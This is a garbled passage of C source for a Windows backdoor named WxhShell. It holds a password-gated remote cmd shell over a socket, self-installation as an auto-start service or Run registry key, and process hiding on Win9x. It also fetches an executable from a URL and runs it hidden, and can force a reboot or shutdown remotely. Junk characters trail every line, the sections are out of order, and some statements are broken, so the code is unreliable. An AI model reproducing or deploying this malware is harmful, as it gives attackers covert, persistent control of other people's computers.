    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )RA$E`!b  
    if(Boot(SHUTDOWN)) 4mR{\ d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,grdl|Dg  
    else { `Wq4k>J}*  
    closesocket(wsh); U-/-aNJ]U  
    ExitThread(0); g]au|$L4  
    } LWgYGXWT"  
    break; XnC`JO+7M  
    } F<SMU4]YdG  
  // 获取shell q#9JJWSs  
  case 's': { Z)E[Bv=  
    CmdShell(wsh); dL;C4[(N  
    closesocket(wsh); dqwCyYC  
    ExitThread(0); {2wfv2hQ  
    break; 7A0D[?^xe  
  } f9v%k'T[  
  // 退出 sOzmw^7   
  case 'x': { 4+&4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +~~FfIzf#  
    CloseIt(wsh); rPaUDR4U  
    break; E__^>=  
    } UeNa  
  // 离开 SF$'$6x}  
  case 'q': { H}m%=?y@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E}eu]2=nU}  
    closesocket(wsh); yt,xA;g  
    WSACleanup(); +$Q.N{LV  
    exit(1); Y rq-(  
    break; i,HafY  
        } 5!WQ  
  } cQkH4>C~  
  } |+Gv)Rvp  
bvHF;Qywg  
  // 提示信息 EB8=*B8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >y&Db  
} f-6hcd@Ca  
  } paFiuQ  
 d+FS  
  return; 6zuWG0t  
} E/x2LYH  
#H9J/k_  
// shell模块句柄 ! 63>II  
int CmdShell(SOCKET sock) vrVb/hhG  
{ WjfUbKg0  
STARTUPINFO si; ut26sg{s(  
ZeroMemory(&si,sizeof(si)); Gao8!OaQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q2Xm~uN`)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a/ d'(]  
PROCESS_INFORMATION ProcessInfo; kMD:~ V  
char cmdline[]="cmd"; QLNQE6-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s^5KFK1  
  return 0; CKJ9YKu{W  
} Oc\Bu6F  
y$6m|5  
// 自身启动模式 K_\fO|<k  
int StartFromService(void) 7.hgne'<  
{ q ld2<W  
typedef struct dWR0tS6vR`  
{ x!6&)T?!n  
  DWORD ExitStatus; 7;cb^fi/  
  DWORD PebBaseAddress; ! Jh/M^  
  DWORD AffinityMask; J;Y=o B  
  DWORD BasePriority; W<Ms0  
  ULONG UniqueProcessId; 1pe eecE  
  ULONG InheritedFromUniqueProcessId; u\~dsD2)q  
}   PROCESS_BASIC_INFORMATION; /I[?TsXp  
i <KWFF#  
PROCNTQSIP NtQueryInformationProcess; 2-G he3  
6"+/Imb-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7^Y"K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~udi=J |  
9 *>@s  
  HANDLE             hProcess; S\7-u\)  
  PROCESS_BASIC_INFORMATION pbi;  QW  
>T*/[{L8;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D&5>Op4U  
  if(NULL == hInst ) return 0; H{*~d+:ol  
f.?p"~!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #{973~uj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J }?F4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I@ dS/  
O*MC"%T  
  if (!NtQueryInformationProcess) return 0; 0(A(Vb5J.T  
rCGyr}(NC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  $$E!u}  
  if(!hProcess) return 0; }Dk*Hs^E  
\!HG kmd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  /[f9Z:>V  
L"Y_:l3"7  
  CloseHandle(hProcess); 56i9V9{2  
s7RAui  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _yje"  
if(hProcess==NULL) return 0; Y8I*B =7  
ya7/&Z )0  
HMODULE hMod; g70B22!y  
char procName[255]; <^j,jX  
unsigned long cbNeeded; r5ONAa3.  
WLr\ l29  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /A3tY"Vn  
X}?`G?'  
  CloseHandle(hProcess); #h'F6  
j6wdqa9!~  
if(strstr(procName,"services")) return 1; // 以服务启动 5&5 x[S8  
VEAf,{)Q  
  return 0; // 注册表启动 ?nOul}y/  
} =,B44:`r  
J!sIxwF  
// 主模块 Gi})*U]P|  
int StartWxhshell(LPSTR lpCmdLine) KCR6@{@  
{ sdq8wn  
  SOCKET wsl; cPcp@Dp  
BOOL val=TRUE; <uUHr,#  
  int port=0; @di mZsi1  
  struct sockaddr_in door; U8_<?Hd  
|/,XdTSy  
  if(wscfg.ws_autoins) Install(); \W5fcxf  
2y6 e]D  
port=atoi(lpCmdLine); -nP y?>p"|  
Vf S&V*un  
if(port<=0) port=wscfg.ws_port; ;c1ar)G7  
&S/@i|_  
  WSADATA data; sem:"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ttlFb]zZh  
L+s3@ C;b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1"pvrX}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .W[ 9G\  
  door.sin_family = AF_INET; %fY\vd 2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K0hmRR=  
  door.sin_port = htons(port); eEvE3=,hg  
#bN'N@|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @LQe[`  
closesocket(wsl); g"pjWj)?  
return 1; bb@@QzR  
} *&7F(  
b^WTX  
  if(listen(wsl,2) == INVALID_SOCKET) { ~4e4G yx c  
closesocket(wsl); mQ# 0c_  
return 1; p:kHb@  
} 3aL8GMiu  
  Wxhshell(wsl); >)E{Hs  
  WSACleanup(); Npq_1L  
Aj9<4N  
return 0; KxZup\\:v  
hzG+s#  
} h B@M5Mc$  
b#ih= qE  
// 以NT服务方式启动 $\:;N]Cs~0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BhJag L ^o  
{ zQpF, N<b  
DWORD   status = 0; C t-^-XD  
  DWORD   specificError = 0xfffffff; g<ZB9;FX %  
5,H,OZ}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JL[xrK0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $^[^ ]Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QLr.5Wcg>  
  serviceStatus.dwWin32ExitCode     = 0; F#<$yUf%  
  serviceStatus.dwServiceSpecificExitCode = 0; <d&9`e1Hc  
  serviceStatus.dwCheckPoint       = 0; o5k7$0:t/  
  serviceStatus.dwWaitHint       = 0; zTP|H5HyK  
Ft} h&aYP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W7R`})F  
  if (hServiceStatusHandle==0) return; /j}"4_. 8  
H Pvs~`>V  
status = GetLastError(); ak_&\'P  
  if (status!=NO_ERROR) 0+H4sz%.  
{ D\"F?>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Dht,!LVb;  
    serviceStatus.dwCheckPoint       = 0; o3=2`BvJ  
    serviceStatus.dwWaitHint       = 0; qKL :#ny  
    serviceStatus.dwWin32ExitCode     = status; tN-U,6c]  
    serviceStatus.dwServiceSpecificExitCode = specificError; }{3XbvC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OhNEt>  
    return; Vdpvo;4uy  
  } HutwgPvy  
A9:dHOmT^U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R:[IH2F s  
  serviceStatus.dwCheckPoint       = 0; #KFpT__F  
  serviceStatus.dwWaitHint       = 0; PPj_NV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G; onJ>  
} b~5Q|3P9  
x JXPtm  
// 处理NT服务事件,比如:启动、停止 o?T01t=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &@&0n)VTd  
{ X3# AYn,  
switch(fdwControl) bOvMXj/HV=  
{ 8M5a&35J"  
case SERVICE_CONTROL_STOP: *F_ dP  
  serviceStatus.dwWin32ExitCode = 0; K1*oYHB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q-k~L\Ys  
  serviceStatus.dwCheckPoint   = 0; rzk]{W  
  serviceStatus.dwWaitHint     = 0; I7[F,xci  
  { <E&[sQ|3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (hb\1 wZ  
  } >U%:Nfo3  
  return; da,;IE{1u  
case SERVICE_CONTROL_PAUSE: =o<iBbK#|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; - C  
  break; s\Zp/-Q  
case SERVICE_CONTROL_CONTINUE: :)PAj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D=!e6E<>@  
  break; jdEqa$CXG  
case SERVICE_CONTROL_INTERROGATE: _7k6hVQ  
  break; 0Na/3cz|zg  
}; -nsI5\]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8`$lsD  
} [WAnII  
-\2T(3P  
// 标准应用程序主函数 r/G6O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <* 4'H  
{ VQMPs{tm  
v[}g+3a  
// 获取操作系统版本 4!3mSWNV  
OsIsNt=GetOsVer(); :SUU)jLq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pT=YV k  
VvS  ^f  
  // 从命令行安装 bq}hj Cy  
  if(strpbrk(lpCmdLine,"iI")) Install(); piy_9nk  
+OTNn@!9  
  // 下载执行文件 "=/YPw^0  
if(wscfg.ws_downexe) { jQ 'r};;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E7c!KJ2  
  WinExec(wscfg.ws_filenam,SW_HIDE); QE b ^'y  
} 0IP5 &[-P  
1638U 1  
if(!OsIsNt) { |+|q`SwJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 eX1<zzd  
HideProc(); $QbaPmHW  
StartWxhshell(lpCmdLine); p^yuz (  
} u ]!ZW&  
else ": G\  
  if(StartFromService()) wQnW2)9!  
  // 以服务方式启动 = MP?aH [  
  StartServiceCtrlDispatcher(DispatchTable); FkS$x'~2$  
else -*QxZiKD  
  // 普通方式启动 g`69 0  
  StartWxhshell(lpCmdLine); 8=!BtMd"  
: K#z~#n  
return 0; q!sazVaDp  
} G5R"5d'  
s>VpbJ3S  
js~?y|e8k  
)uJu.foE  
=========================================== ~%8T_R/3  
FU~xKNr  
oOj7y>Nm  
[;E~A  
82z\^a  
jEkO #xI  
" GW[g!6 6^  
7v8V0Gp  
#include <stdio.h> G';yb^DB  
#include <string.h> X5V8w4NN  
#include <windows.h> X:c k  
#include <winsock2.h> eMDO;q  
#include <winsvc.h> 5ml#/kE  
#include <urlmon.h> YaWZOuxm  
ST *\Q  
#pragma comment (lib, "Ws2_32.lib") W>*9T?  
#pragma comment (lib, "urlmon.lib") YH 5jvvOI  
cKbjW  
#define MAX_USER   100 // 最大客户端连接数 X/8CvY#n  
#define BUF_SOCK   200 // sock buffer oQ=v:P]  
#define KEY_BUFF   255 // 输入 buffer _$oN"pj  
l4:5(1  
#define REBOOT     0   // 重启 v*&WxP^Gm  
#define SHUTDOWN   1   // 关机 VXM5 B  
Uh9p ,AV  
#define DEF_PORT   5000 // 监听端口 tE~OWjL  
9MI~yIt`L  
#define REG_LEN     16   // 注册表键长度 4=T.rVS[  
#define SVC_LEN     80   // NT服务名长度 ^>3q@,C]c  
^5:xSQ@:  
// 从dll定义API 2Gw2k8g&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @`,~d{ziF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zFn!>Tqe  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5Q9nJC{'NN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Tf|?j=f  
V^  
// wxhshell配置信息 !(-lY(x  
struct WSCFG { gYtv`O  
  int ws_port;         // 监听端口 *j9hjq0j  
  char ws_passstr[REG_LEN]; // 口令 {Y\W&Edw%  
  int ws_autoins;       // 安装标记, 1=yes 0=no H2plT  
  char ws_regname[REG_LEN]; // 注册表键名 d;<gwCc  
  char ws_svcname[REG_LEN]; // 服务名 gE_i#=bw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m#^ua^JV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 </.9QV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;g:!WXd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g ss 3e&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L355uaj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IO*}N"  
sb]{05:  
}; n[mVwQ(%  
'UW(0 PXw  
// default Wxhshell configuration q$<M2  
struct WSCFG wscfg={DEF_PORT, \$iU#Z  
    "xuhuanlingzhe", _~{Nco7T  
    1, !ULU#2'1  
    "Wxhshell", .w.jT"uD!  
    "Wxhshell", 6ojEEM  
            "WxhShell Service", E6=JL$"  
    "Wrsky Windows CmdShell Service", sv g`s,g  
    "Please Input Your Password: ", -F-RWs{yS  
  1, TN+iv8sT  
  "http://www.wrsky.com/wxhshell.exe", Q7~9~  
  "Wxhshell.exe" w,,QXJe{Z_  
    }; /CE]7m,7~K  
vq.~8c1  
// 消息定义模块 ;?*`WB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =Fd!wkB'{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QO-R>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 06Irx^n  
char *msg_ws_ext="\n\rExit."; Zs(I]^w;d  
char *msg_ws_end="\n\rQuit."; 6r x%>\UkS  
char *msg_ws_boot="\n\rReboot..."; vLc7RL  
char *msg_ws_poff="\n\rShutdown..."; X:un4B}O  
char *msg_ws_down="\n\rSave to "; `ZC{<eVJ}=  
kPt] [1jo  
char *msg_ws_err="\n\rErr!"; y,i ~w |4  
char *msg_ws_ok="\n\rOK!"; 5 aT>8@$Z^  
o `]o(OP  
char ExeFile[MAX_PATH]; _>6xU t  
int nUser = 0; ,D6hJ_:  
HANDLE handles[MAX_USER]; Ez= Q{g  
int OsIsNt; V[w Y;wj  
%y{f] m  
SERVICE_STATUS       serviceStatus; ':mw(`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /9K,W)h_  
AB.gVw| 4  
// 函数声明  /z0X  
int Install(void); RSK~<Y@]q{  
int Uninstall(void); o:p6[SGd  
int DownloadFile(char *sURL, SOCKET wsh); hJkSk;^  
int Boot(int flag); J0 [^hH  
void HideProc(void); yX {CV7%O  
int GetOsVer(void); aZk/\&=6  
int Wxhshell(SOCKET wsl); l[MP|m#  
void TalkWithClient(void *cs); TpHvZ]c  
int CmdShell(SOCKET sock); DaA9fJ7a   
int StartFromService(void); d~G, *  
int StartWxhshell(LPSTR lpCmdLine); D.Q9fa&P  
!vaS fL*]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z vM=k-Ec  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 015 ;'V#we  
dTE(+M- Gr  
// 数据结构和表定义 \o&\r)FX  
SERVICE_TABLE_ENTRY DispatchTable[] = c7E|GZ2Hc  
{ sULCYiT|Hn  
{wscfg.ws_svcname, NTServiceMain}, g}cb>'=={  
{NULL, NULL} Y]u6f c  
}; TL29{'4V  
sQ)D.9\~  
// 自我安装 8RA]h?$$J  
int Install(void) H}Jdnu|ko  
{ nB~hmE)  
  char svExeFile[MAX_PATH]; _RTJEG  
  HKEY key; yFD3:;}  
  strcpy(svExeFile,ExeFile); up# R9 d|  
b`lLqV<[cB  
// 如果是win9x系统,修改注册表设为自启动 >q}Ns^ .'  
if(!OsIsNt) { d4 Hpe>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '=M4 (h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rx$B(z(c  
  RegCloseKey(key); +b9gP\Hke  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /M0A9ZT[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  -L.U4x  
  RegCloseKey(key); ![>j`i  
  return 0; $$,/F  
    } ~36)3W[4  
  } K;,_P5J%  
} 'e/= !"T  
else { "vH>xBR[%  
tK|jh  
// 如果是NT以上系统,安装为系统服务 oHW:s96e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FLb Q#c\  
if (schSCManager!=0) 1TOT}h5  
{ ! H^,p$`[i  
  SC_HANDLE schService = CreateService 5t,W'a_  
  ( o_(@v2G`  
  schSCManager, O/?Lk*r  
  wscfg.ws_svcname, $ykujyngS4  
  wscfg.ws_svcdisp, &=KNKE`  
  SERVICE_ALL_ACCESS, Hv>16W$_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *-zOQ=Y  
  SERVICE_AUTO_START, &| d6  
  SERVICE_ERROR_NORMAL, <kmH^ viX  
  svExeFile, C:?mOM#_  
  NULL, S4salpz  
  NULL, 'l&),]|$)  
  NULL, &e-MOM2&  
  NULL, #Yqj27&  
  NULL  .# Jusd  
  ); 5>S<9A|Q  
  if (schService!=0) aw3 oG?3I  
  { ,>AA2@6zMT  
  CloseServiceHandle(schService); GY%2EM(  
  CloseServiceHandle(schSCManager); >" z$p@7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :vsF4  
  strcat(svExeFile,wscfg.ws_svcname); dYEsSFB m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { MnQ4,+ji-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vi4lmkyh^  
  RegCloseKey(key); -;i vBR  
  return 0; 0bcbH9) 1q  
    } <%SG <|t  
  } 5Nt40)E}sN  
  CloseServiceHandle(schSCManager); 7V="/0a  
} 4U;Zs3  
} bW/^2B  
?k}"g$JFn  
return 1; 8Hf:yG,  
} .$rt>u,8<  
(oUh:w.]Gw  
// 自我卸载 |([|F|"  
int Uninstall(void) B5pWSS  
{ Y*KP1=Md  
  HKEY key; U#X6KRZ~g  
kw M1f=!-  
if(!OsIsNt) { W/\M9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jn+k$'6 %#  
  RegDeleteValue(key,wscfg.ws_regname); -J`VXG:M  
  RegCloseKey(key); IHrG!owf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T2%{pcdV/  
  RegDeleteValue(key,wscfg.ws_regname); ;ATn&  
  RegCloseKey(key); _ Cu,"  
  return 0; &|LP>'H;  
  } Mq#sSBE<K  
} z0v|%&IK  
} _[kZ:#  
else { x =7qC#+)  
W pdn^=dhL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1B5 ]1&M  
if (schSCManager!=0) zG|#__=T  
{  d.)%C]W{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e=).0S`*F  
  if (schService!=0) Mqk[+n  
  { dB=aq34l  
  if(DeleteService(schService)!=0) { qGYru1  
  CloseServiceHandle(schService); pAm L  
  CloseServiceHandle(schSCManager); E[nJ'h<h  
  return 0; Tp.t.Qic  
  } 5?yc*mOZ  
  CloseServiceHandle(schService); Xh[02iL-  
  } 7R{(\s\9:  
  CloseServiceHandle(schSCManager); L+]|-L`S  
} b14WIgjsl  
} >X$I:M<L  
`:4bg1u  
return 1; k/`WfSM\.  
} <jk.9$\$A  
6%^9`|3  
// 从指定url下载文件 50?5xSEM0_  
int DownloadFile(char *sURL, SOCKET wsh) ^]_5oFRIj  
{ UD+r{s/%  
  HRESULT hr; f-'$tMs  
char seps[]= "/"; op|:XLR5  
char *token; 03$lgDQ  
char *file; `Cv@16  
char myURL[MAX_PATH]; "(QI7:iM  
char myFILE[MAX_PATH]; tnn,lWu|  
zNo(|;19  
strcpy(myURL,sURL); 'y? HF@NJ  
  token=strtok(myURL,seps); KsG>,# Q  
  while(token!=NULL) sZ7RiH +I  
  { /BaXWrd+  
    file=token; {<k}U;uiO  
  token=strtok(NULL,seps); p&O-]o8  
  } [? 1m6u;  
YZHqy++x  
GetCurrentDirectory(MAX_PATH,myFILE); /yd<+on^  
strcat(myFILE, "\\"); B'U;i5u4'  
strcat(myFILE, file); AgU 7U/yk  
  send(wsh,myFILE,strlen(myFILE),0); B|zVq=l~  
send(wsh,"...",3,0); W4ygJL7 6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b~L8m4L  
  if(hr==S_OK) ss4<s 5:y  
return 0; flr&+=1?D  
else qUuvM  
return 1; 1^HUu"Kt  
Zi4Ektj2  
} wfJ[" q   
z"*$ .  
// 系统电源模块 WokQ X"  
int Boot(int flag) k@RIM(^t  
{ M?FbBJ`sF  
  HANDLE hToken; ->0OqVQA  
  TOKEN_PRIVILEGES tkp; Ozo)}  
B*,Qw_3dG  
  if(OsIsNt) { ,iYKtS3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;A3aUN;"I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Cjn)`Q8  
    tkp.PrivilegeCount = 1; M%#H>X\/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |TE\]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (+=TKI<=  
if(flag==REBOOT) { ;xl_9Ht/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) noLb  
  return 0; !P"=57d}"l  
} zm9_[0  
else { ` g5S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mm@)uV<\  
  return 0; zr1,A#BV  
} l*0`{R  
  } YYiT,Xp<A  
  else { P:3%#d~q  
if(flag==REBOOT) { ="Edt+a)t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DdG*eKC  
  return 0; ROfr  
} wsg u# as|  
else { G1`H H&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I$#)k^Q  
  return 0; UN"U#Si)  
} .}6Mj]7?i  
} fmv8)$W#U  
 =>Md>VM  
return 1; A8by5qU  
} R/UL4R,)^  
-1P*4H2a  
// win9x进程隐藏模块 b#2$Pd:(  
void HideProc(void) Db5y";T  
{ Om/mpU/U  
?t{ 2y1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TzW1+DxM5  
  if ( hKernel != NULL ) $[NC$*N7  
  { :+nECk   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }K%y'D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hG3p"_L  
    FreeLibrary(hKernel); EgY yvS)  
  } /j`v N  
j& x=?jX  
return; ]*Tnu98G}  
} =C[2"Y4JK0  
Nsd7?|@HI  
// 获取操作系统版本 (H*d">`mz  
int GetOsVer(void) y,OwO4+y\  
{ g\n0v~T+  
  OSVERSIONINFO winfo; @jp}WwC/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eK]$8l|LI  
  GetVersionEx(&winfo); IUJRP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fsxZQ=-PW  
  return 1; bR*/d-v^  
  else !KEnr`O2u  
  return 0; xqA XfJ.  
} ~1`ZPLVG  
e#uk+]  
// 客户端句柄模块 +l,6}tV9  
int Wxhshell(SOCKET wsl) ?g5u#Q> !  
{ ONkHHyT  
  SOCKET wsh; M\f1]L|8d  
  struct sockaddr_in client; ]mW)T0_  
  DWORD myID; F|seBBu  
&d8z`amP  
  while(nUser<MAX_USER) ]("5O V5  
{ vG7aT  
  int nSize=sizeof(client); ^z^ UFW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <f'2dT@6  
  if(wsh==INVALID_SOCKET) return 1; xg>AW Q  
jP-=x(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ji|`S\u#b  
if(handles[nUser]==0) H:DTvv8e{  
  closesocket(wsh); mh4`,N  
else Y.<&phv  
  nUser++; p^s k?E  
  } )L%i"=<Bdy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &>Ko}?w  
J6) &b7  
  return 0; mO UIGlv  
} GG}(*pOr  
J7C2:zj  
// 关闭 socket #78P_{#!  
void CloseIt(SOCKET wsh) s|1BqoE  
{ k$hNibpkt  
closesocket(wsh); ;{Sgv^A  
nUser--; gmY*}d` 'f  
ExitThread(0); p=U/l#xO  
}  VS:UVe  
cVR3_e{&H  
// 客户端请求句柄 OEkx}.w  
void TalkWithClient(void *cs) aC&ZV}8of  
{ zP|y3`. 52  
zMXlLRC0  
  SOCKET wsh=(SOCKET)cs; :IZ(9=hs  
  char pwd[SVC_LEN]; ?rD`'B  
  char cmd[KEY_BUFF]; ^lP_{ c  
char chr[1]; jmAQ!y|W.  
int i,j; 0V:DeX$bZ  
B f_oIc  
  while (nUser < MAX_USER) { ;bZIj` D(  
!"dbK'jb^  
if(wscfg.ws_passstr) { SQZUkKfb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -%U 15W;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); % 1+\N  
  //ZeroMemory(pwd,KEY_BUFF); .o2]ndT/J  
      i=0; [;Q8xvVZ'  
  while(i<SVC_LEN) { 8"#Ix1#  
b$24${*'  
  // 设置超时 bs%lMa.o  
  fd_set FdRead; q]\bJV^/U  
  struct timeval TimeOut; .3B3Z&vr  
  FD_ZERO(&FdRead); ? Q`Sx  
  FD_SET(wsh,&FdRead); 4)BPrWea1  
  TimeOut.tv_sec=8; Y]5\%JR  
  TimeOut.tv_usec=0; zKi5e+\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J#0oL_xY#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C^ hHt,&  
k+"+s bsW'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ',Mi D=_  
  pwd=chr[0]; l#FW#`f  
  if(chr[0]==0xd || chr[0]==0xa) { vFK&63  
  pwd=0; : .-z) C}  
  break; o|s JTY  
  } #L{+V?  
  i++; .Z!!x  
    } m})q8b!S  
%G<!&E!0h  
  // 如果是非法用户,关闭 socket 0 gyg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QL>G-Rp  
} _)7dy2%{q  
;BEg"cm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N F[v/S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JeR8Mb  
r|XNS>V ,$  
while(1) { <bwsK,C  
ICD(#m  
  ZeroMemory(cmd,KEY_BUFF); {QTrH-C  
\}ujSr#<  
      // 自动支持客户端 telnet标准   wo>srZs  
  j=0; UC,43 z  
  while(j<KEY_BUFF) { VOYuog 5o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6 1= ?(Iw  
  cmd[j]=chr[0]; 3gW4\2|T  
  if(chr[0]==0xa || chr[0]==0xd) { K)Nbl^6x  
  cmd[j]=0; o b  
  break; v5|X=B>&>  
  } y@;4F n/  
  j++; oh '\,zpL  
    } |5wuYG  
1Ftl1uf  
  // 下载文件 JD^&d~n_  
  if(strstr(cmd,"http://")) { :<OInKE>Cx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?"p:6%GFz  
  if(DownloadFile(cmd,wsh)) =?`5n|A*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a2dlz@)J  
  else SWjOJjn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3U&Qo nCV  
  } @15%fX`*o  
